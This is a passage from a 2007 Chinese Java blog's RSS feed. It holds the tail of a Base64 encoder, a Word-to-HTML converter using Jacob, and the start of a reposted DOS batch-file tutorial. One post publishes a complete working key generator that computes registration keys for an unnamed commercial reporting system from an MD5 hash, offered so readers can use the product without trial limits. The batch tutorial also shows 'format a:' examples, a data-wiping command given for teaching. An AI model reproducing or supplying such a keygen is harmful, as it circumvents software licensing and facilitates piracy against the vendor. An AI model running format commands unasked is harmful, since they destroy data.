&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i1 = 0; l &lt; i; i1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j1 = abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l1 = l &gt;= i ? 0 : abyte0[l++] &amp; 0xff;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i2 = j1 &gt;&gt;&gt; 2;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int j2 = (j1 &amp; 3) &lt;&lt; 4 | k1 &gt;&gt;&gt; 4;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int k2 = (k1 &amp; 0xf) &lt;&lt; 2 | l1 &gt;&gt;&gt; 6;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int l2 = l1 &amp; 0x3f;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[i2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1++] = cChar[j2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[k2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; i1++;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ac[i1] = i1 &gt;= j ? '=' : cChar[l2];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return ac;<br />
&nbsp;&nbsp;&nbsp; }</p>
<p>&nbsp;&nbsp;&nbsp; private static char cChar[];<br />
&nbsp;&nbsp;&nbsp; private static byte bByte[];</p>
<p>&nbsp;&nbsp;&nbsp; static <br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar = new char[64];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int i = 0;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c = 'A'; c &lt;= 'Z'; c++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c1 = 'a'; c1 &lt;= 'z'; c1++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(char c2 = '0'; c2 &lt;= '9'; c2++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = c2;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '+';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; cChar[i++] = '/';<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte = new byte[128];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int j = 0; j &lt; bByte.length; j++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[j] = -1;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int k = 0; k &lt; 64; k++)<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; bByte[cChar[k]] = (byte)k;</p>
<p>&nbsp;&nbsp;&nbsp; }<br />
}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/152231.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-10-12 09:49 <a href="http://www.blogjava.net/galaxyp/archive/2007/10/12/152231.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>X报表系统的注册机</title><link>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 27 Jun 2007 03:51:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/126541.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html#Feedback</comments><slash:comments>16</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/126541.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/126541.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 前几天有人在blogjava上发表了一篇批价各个报表系统的文章，大为推荐这个系统。于是本人下载试用，结果很让人失望，它的功能还不如免费的iReport。保护和它的功能一样差，顺手把注册机写出来，因为我想有一些和我一样的人——试用也喜欢那种没有限制的。至于这个系统的名称，大家自己去找。<br><br>import java.security.MessageDigest;</p>
<p>public class keygen {<br>&nbsp;<br>&nbsp;public static void main(String[] args)<br>&nbsp;{<br>&nbsp;&nbsp;System.out.println(checkKey("<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#100;&#101;&#99;&#116;&#101;&#115;&#116;&#103;&#97;&#108;&#97;&#120;&#121;&#112;&#64;&#103;&#109;&#97;&#105;&#108;&#46;&#99;&#111;&#109;">dectestgalaxyp@gmail.com</a>"));<br>&nbsp;&nbsp;&nbsp;//dec 用户名 test 项目名 后面的是邮箱<br>&nbsp;}</p>
<p>&nbsp;&nbsp;&nbsp; private static String checkKey(String name)<br>&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte nameBytes[];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; StringBuffer theKey;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(name == null)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return "null";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; nameBytes = name.getBytes();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey = new StringBuffer();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; byte td[];<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; try{<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; MessageDigest md = MessageDigest.getInstance("MD5");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; md.update(nameBytes);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; td = md.digest();<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(td.length != 16)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return "null";<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; int n;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 2; i &lt;= 5; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append((char)(n % 25 + 65));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 7; i &lt;= 11; i++)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if(i == 9)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(Integer.toHexString(n % 16));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; else<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[15] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append((char)(n % 25 + 65));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 14; i &gt;= 12; i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 6; i &gt;= 3; i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(Integer.toHexString(n % 16));<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append("-");<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for(int i = 4; i &gt;= 1; i--)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; n = td[i] &amp; 0xff;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; theKey.append(n % 10);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }catch(Exception e)<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; {}</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return theKey.toString();</p>
<p>&nbsp;&nbsp;&nbsp; }</p>
<p>} </p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/126541.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-06-27 11:51 <a href="http://www.blogjava.net/galaxyp/archive/2007/06/27/126541.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>JAVA中把WORD文档直接转换成html</title><link>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Thu, 21 Jun 2007 05:06:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/125529.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback</comments><slash:comments>6</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/125529.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/125529.html</trackback:ping><description><![CDATA[<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; jacob是java和windows下的com桥，通过它我们可以在java<font face=宋体 size=2>程序中调用COM组件。如果你的JDK是1.4，那你需要下载jacob1.9的jni库才能正常运行，早期版本在JDK1.4下有些问题。<br>&nbsp;</font><br>package com;<br>/**<br>&nbsp;* &lt;p&gt;Title:Word文档转html类&lt;/p&gt;<br>&nbsp;* &lt;p&gt;Description: &lt;/p&gt;<br>&nbsp;* &lt;p&gt;Copyright:() 2002&lt;/p&gt;<br>&nbsp;* @author&nbsp;舵手<br>&nbsp;* @version 1.0<br>&nbsp;*/<br>import com.jacob.com.*;<br>import com.jacob.activeX.*;</p>
<p>public class WordtoHtml {<br>&nbsp;/**<br>&nbsp; *文档转换函数<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> docfile word文档的绝对路径加文件名(包含扩展名)<br>&nbsp; <a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#42;&#64;&#112;&#97;&#114;&#97;&#109;">*@param</a> htmlfile 转换后的html文件绝对路径和文件名(不含扩展名)<br>&nbsp; */<br>&nbsp;public static void change(String docfile, String htmlfile) {<br>&nbsp;&nbsp;ActiveXComponent app = new ActiveXComponent("Word.Application");// 启动word<br>&nbsp;&nbsp;try {<br>&nbsp;&nbsp;&nbsp;app.setProperty("Visible", new Variant(false));<br>&nbsp;&nbsp;&nbsp; //设置word不可见<br>&nbsp;&nbsp;&nbsp;Object docs = app.getProperty("Documents").toDispatch();<br>&nbsp;&nbsp;&nbsp;Object doc = Dispatch.invoke(docs,"Open",Dispatch.Method,new Object[] { docfile, new Variant(false),new Variant(true) }, new int[1]).toDispatch();<br>&nbsp;&nbsp;&nbsp;// 打开word文件<br>&nbsp;&nbsp;&nbsp;Dispatch.invoke(doc, "SaveAs", Dispatch.Method, new Object[] {htmlfile, new Variant(8) }, new int[1]);<br>&nbsp;&nbsp;&nbsp;// 作为html格式保存到临时文件<br>&nbsp;&nbsp;&nbsp;Variant f = new Variant(false);<br>&nbsp;&nbsp;&nbsp;Dispatch.call(doc, "Close", f);<br>&nbsp;&nbsp;} catch (Exception e) {<br>&nbsp;&nbsp;&nbsp;e.printStackTrace();<br>&nbsp;&nbsp;} finally {<br>&nbsp;&nbsp;&nbsp;app.invoke("Quit", new Variant[]{});<br>&nbsp;&nbsp;}<br>&nbsp;}<br>&nbsp;public static void main(String[] strs){<br>&nbsp;&nbsp;WordtoHtml.change("c:\\a\\运输管理调度系统总体方案.doc", "c:\\a\\t");<br>&nbsp;&nbsp;<br>&nbsp;}<br>}</p>
<img src ="http://www.blogjava.net/galaxyp/aggbug/125529.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/galaxyp/" target="_blank">舵手 QQ：8117892</a> 2007-06-21 13:06 <a href="http://www.blogjava.net/galaxyp/archive/2007/06/21/125529.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>批处理命令基础学习</title><link>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</link><dc:creator>舵手 QQ：8117892</dc:creator><author>舵手 QQ：8117892</author><pubDate>Wed, 07 Mar 2007 05:04:00 GMT</pubDate><guid>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html</guid><wfw:comment>http://www.blogjava.net/galaxyp/comments/102369.html</wfw:comment><comments>http://www.blogjava.net/galaxyp/archive/2007/03/07/102369.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/galaxyp/comments/commentRss/102369.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/galaxyp/services/trackbacks/102369.html</trackback:ping><description><![CDATA[
		<p>转自百度贴吧<br /><br />批处理文件或批处理程序是一个包含若干MS-DOS命令的正文文件，扩展名为.BAT。当在命令提示符下敲入批处理程序的名称时，MS-DOS成组执行此批处理程序中的命令。 <br />任何在命令提示符下可使用的命令都可用在批处理程序中。此外，下面MS-DOS命令是专门在批处理程序中使用的。 <br />&lt;Call&gt;         &lt;If&gt; <br />&lt;Choice&gt;         &lt;Pause&gt; <br />&lt;Echo&gt;         &lt;Rem&gt; <br />&lt;For&gt;           &lt;Shift&gt; <br />&lt;Goto&gt; <br />================================================================ <br />常用命令 <br />echo、@、call、pause、rem(小技巧：用::代替rem)是批处理文件最常用的几个命令，我们就从他们开始学起。 <br />==== willsort 编注 ============================================== <br />首先, @ 不是一个命令, 而是DOS 批处理的一个特殊标记符, 仅用于屏蔽命令行回显. 下面是DOS命令行或批处理中可能会见到的一些特殊标记符: <br />CR(0D)   命令行结束符 <br />Escape(1B)   ANSI转义字符引导符 <br />Space(20)   常用的参数界定符 <br />Tab(09) ; =   不常用的参数界定符 <br />+     COPY命令文件连接符 <br />* ?       文件通配符 <br />""       字符串界定符 <br />|       命令管道符 <br />&lt; &gt; &gt;&gt;   文件重定向符 <br />@       命令行回显屏蔽符 <br />/       参数开关引导符 <br />:       批处理标签引导符 <br />%       批处理变量引导符 <br />其次, :: 确实可以起到rem 的注释作用, 而且更简洁有效; 但有两点需要注意: <br />第一, 除了 :: 之外, 任何以 :开头的字符行, 在批处理中都被视作标号, 而直接忽略其后的所有内容, 只是为了与正常的标号相区别, 建议使用 goto 所无法识别的标号, 即在 :后紧跟一个非字母数字的一个特殊符号. <br />第二, 与rem 不同的是, ::后的字符行在执行时不会回显, 无论是否用echo on打开命令行回显状态, 因为命令解释器不认为他是一个有效的命令行, 就此点来看, rem 在某些场合下将比 :: 更为适用; 另外, rem 可以用于 config.sys 文件中. <br />================================================================ <br />echo 表示显示此命令后的字符 <br />echo off 表示在此语句后所有运行的命令都不显示命令行本身 <br />@与echo off相象，但它是加在每个命令行的最前面，表示运行时不显示这一行的命令行（只能影响当前行）。 <br />call 调用另一个批处理文件（如果不用call而直接调用别的批处理文件，那么执行完那个批处理文件后将无法返回当前文件并执行当前文件的后续命令）。 <br />pause 运行此句会暂停批处理的执行并在屏幕上显示Press any key to continue...的提示，等待用户按任意键后继续 <br />rem 表示此命令后的字符为解释行（注释），不执行，只是给自己今后参考用的（相当于程序中的注释）。 <br />==== willsort 编注 ============================================= <br />此处的描述较为混乱, 不如直接引用个命令的命令行帮助更为条理 <br />----------------------------------------------------------------- <br />                ECHO <br />当程序运行时，显示或隐藏批处理程序中的正文。也可用于允许或禁止命令的回显。 <br />在运行批处理程序时，MS-DOS一般在屏幕上显示（回显）批处理程序中的命令。 <br />使用ECHO命令可关闭此功能。 <br />语法 <br />ECHO [ON|OFF] <br />若要用echo命令显示一条命令，可用下述语法： <br />echo [message] <br />参数 <br />ON|OFF <br />指定是否允许命令的回显。若要显示当前的ECHO的设置，可使用不带参数的ECHO <br />命令。 <br />message <br />指定让MS-DOS在屏幕上显示的正文。 <br />----------------------------------------------------------------- <br />                CALL <br />从一个批处理程序中调用另一个批处理程序，而不会引起第一个批处理的中止。 <br />语法 <br />CALL [drive:][path]filename [batch-parameters] <br />参数 <br />[drive:][path]filename <br />指定要调用的批处理程序的名字及其存放处。文件名必须用.BAT作扩展名。 <br /> <br />batch-parameters <br />指定批处理程序所需的命令行信息。 <br />---------------------------------------------------------------------------- <br />              PAUSE <br />暂停批处理程序的执行并显示一条消息，提示用户按任意键继续执行。只能在批处 <br />理程序中使用该命令。 <br />语法 <br />PAUSE <br />---------------------------------------------------------------------------- <br />                REM <br />在批处理文件或CONFIG.SYS中加入注解。也可用REM命令来屏蔽命令（在CONFIG.SYS <br />中也可以用分号(;)代替REM命令，但在批处理文件中则不能替代）。 <br />语法 <br />REM [string] <br />参数 <br />string <br />指定要屏蔽的命令或要包含的注解。 <br />================================================================ <br />例1：用edit编辑a.bat文件，输入下列内容后存盘为c:\a.bat，执行该批处理文件后可实现：将根目录中所有文件写入 a.txt中，启动UCDOS，进入WPS等功能。 <br />　　批处理文件的内容为: 　　　　　　　 命令注释： <br />　　　　@echo off　　　　　　　　　　　不显示后续命令行及当前命令行 <br />　　　　dir c:\*.* &gt;a.txt　　　　　　　将c盘文件列表写入a.txt <br />　　　　call c:\ucdos\ucdos.bat　　　　调用ucdos <br />　　　　echo 你好 　　　　　　　　　　 显示"你好" <br />　　　　pause 　　　　　　　　　　　　 暂停,等待按键继续 <br />　　　　rem 准备运行wps 　　　　　　　 注释：准备运行wps <br />　　　　cd ucdos　　　　　　　　　　　 进入ucdos目录 <br />　　　　wps 　　　　　　　　　　　　　 运行wps　　 <br />批处理文件的参数 <br />批处理文件还可以像C语言的函数一样使用参数（相当于DOS命令的命令行参数），这需要用到一个参数表示符“%”。 <br />%[1-9]表示参数，参数是指在运行批处理文件时在文件名后加的以空格（或者Tab）分隔的字符串。变量可以从%0到%9，%0表示批处理命令本身，其它参数字符串用%1到%9顺序表示。 <br />例2：C:根目录下有一批处理文件名为f.bat，内容为： <br />@echo off <br />format %1 <br />如果执行C:\&gt;f a: <br />那么在执行f.bat时，%1就表示a:，这样format %1就相当于format a:，于是上面的命令运行时实际执行的是format a: <br />例3：C:根目录下一批处理文件名为t.bat，内容为: <br />@echo off <br />type %1 <br />type %2 <br />那么运行C:\&gt;t a.txt b.txt <br />%1 : 表示a.txt <br />%2 : 表示b.txt <br />于是上面的命令将顺序地显示a.txt和b.txt文件的内容。 <br />特殊命令 <br />if goto choice for是批处理文件中比较高级的命令，如果这几个你用得很熟练，你就是批处理文件的专家啦。 <br />一、if 是条件语句，用来判断是否符合规定的条件，从而决定执行不同的命令。 有三种格式: <br />1、if [not] "参数" == "字符串" 待执行的命令 <br />参数如果等于(not表示不等，下同)指定的字符串，则条件成立，运行命令，否则运行下一句。 <br />例：if "%1"=="a" format a: </p>
		<p>if 的命令行帮助中关于此点的描述为: <br />  IF [NOT] string1==string2 command <br />在此有以下几点需要注意: <br />  1. 包含字符串的双引号不是语法所必须的, 而只是习惯上使用的一种"防空"字符 <br />  2. string1 未必是参数, 它也可以是环境变量, 循环变量以及其他字符串常量或变量 <br />  3. command 不是语法所必须的, string2 后跟一个空格就可以构成一个有效的命令行 <br />================================================================ <br />2、if [not] exist [路径\]文件名 待执行的命令 <br />如果有指定的文件，则条件成立，运行命令，否则运行下一句。 <br />如: if exist c:\config.sys type c:\config.sys <br />表示如果存在c:\config.sys文件，则显示它的内容。 <br />****** willsort 编注 ******** <br />也可以使用以下的用法: <br />  if exist &lt;device&gt; command <br />device 是指DOS系统中已加载的设备, 在win98下通常有: <br />  AUX, PRN, CON, NUL <br />  COM1, COM2, COM3, COM4 <br />  <br />   LPT1, LPT2, LPT3, LPT4 <br />  XMSXXXX0, EMMXXXX0 <br />  A: B: C: ..., <br />  CLOCK$, CONFIG$, DblBuff$, IFS$HLP$ <br />具体的内容会因硬软件环境的不同而略有差异, 使用这些设备名称时, 需要保证以下三点: <br />  1. 该设备确实存在(由软件虚拟的设备除外) <br />  2. 该设备驱动程序已加载(aux, prn等标准设备由系统缺省定义) <br />  3. 该设备已准备好(主要是指a: b: ..., com1..., lpt1...等) <br />可通过命令 mem/d | find "device" /i 来检阅你的系统中所加载的设备 <br />另外, 在DOS系统中, 设备也被认为是一种特殊的文件, 而文件也可以称作字符设备; 因为设备(device)与文件都是使用句柄(handle)来管理的, 句柄就是名字, 类似于文件名, 只不过句柄不是应用于磁盘管理, 而是应用于内存管理而已, 所谓设备加载也即指在内存中为其分配可引用的句柄. <br />================================================================ <br />3、if errorlevel &lt;数字&gt; 待执行的命令 <br />很多DOS程序在运行结束后会返回一个数字值用来表示程序运行的结果(或者状态)，通过if errorlevel命令可以判断程序的返回值，根据不同的返回值来决定执行不同的命令(返回值必须按照从大到小的顺序排列)。如果返回值等于指定的数字，则条件成立，运行命令，否则运行下一句。 <br />如if errorlevel 2 goto x2 <br />==== willsort 编注 ==================================================== <br />返回值从大到小的顺序排列不是必须的, 而只是执行命令为 goto 时的习惯用法, 当使用 set 作为执行命令时, 通常会从小到大顺序排列, 比如需将返回码置入环境变量, 就需使用以下的顺序形式: <br />if errorlevel 1 set el=1 <br />if errorlevel 2 set el=2 <br />if errorlevel 3 set el=3 <br />if errorlevel 4 set el=4 <br />if errorlevel 5 set el=5 <br />... <br />当然, 也可以使用以下循环来替代, 原理是一致的: <br />for %%e in (1 2 3 4 5 6 7 8...) do if errorlevel %%e set el=%%e <br />更高效简洁的用法, 可以参考我写的另一篇关于获取 errorlevel 的文章 <br />出现此种现象的原因是, if errorlevel 比较返回码的判断条件并非等于, 而是大于等于. 由于 goto 的跳转特性, 由小到大排序会导致在较小的返回码处就跳出; 而由于 set命令的 "重复" 赋值特性, 由大到小排序会导致较小的返回码 "覆盖" 较大的返回码. <br />另外, 虽然 if errorlevel=&lt;数字&gt; command 也是有效的命令行, 但也只是 command.com 解释命令行时将 = 作为命令行切分符而忽略掉罢了 <br />================================================================ <br />二、goto 批处理文件运行到这里将跳到goto所指定的标号(标号即label，标号用:后跟标准字符串来定义)处，goto语句一般与if配合使用，根据不同的条件来执行不同的命令组。 <br />如: <br />goto end <br />:end <br />echo this is the end <br />标号用“:字符串”来定义，标号所在行不被执行。 <br />==== willsort 编注 ==================================================== <br />label 常被译为 "标签" , 但是这并不具有广泛的约定性. <br />goto &lt;label&gt; 与 :&lt;label&gt; 联用可实现执行中途的跳转, 再结合 if 可实现执行过程的条件分支, 多个 if 即可实现命令的分组, 类似 C 中 switch case 结构或者 Basic 中的 select case 结构, 大规模且结构化的命令分组即可实现高级语言中的函数功能. 以下是批处理和C/Basic在语法结构上的对照: <br />  Batch           C / Basic <br />  goto&amp;:           goto&amp;: <br />  goto&amp;:&amp;if         if{}&amp;else{} / if&amp;elseif&amp;endif <br />  goto&amp;:&amp;if...       switch&amp;case / select case <br />  goto&amp;:&amp;if&amp;set&amp;envar...   function() / function(),sub() <br />================================================================ <br />三、choice 使用此命令可以让用户输入一个字符（用于选择），从而根据用户的选择返回不同的errorlevel，然后于if errorlevel配合，根据用户的选择运行不同的命令。 <br /> <br /> 注意：choice命令为DOS或者Windows系统提供的外部命令，不同版本的choice命令语法会稍有不同，请用choice /?查看用法。 <br />choice的命令语法（该语法为Windows 2003中choice命令的语法，其它版本的choice的命令语法与此大同小异）： <br />CHOICE [/C choices] [/N] [/CS] [/T timeout /D choice] [/M text] <br />描述: <br />该工具允许用户从选择列表选择一个项目并返回所选项目的索引。 <br />参数列表: <br />/C   choices   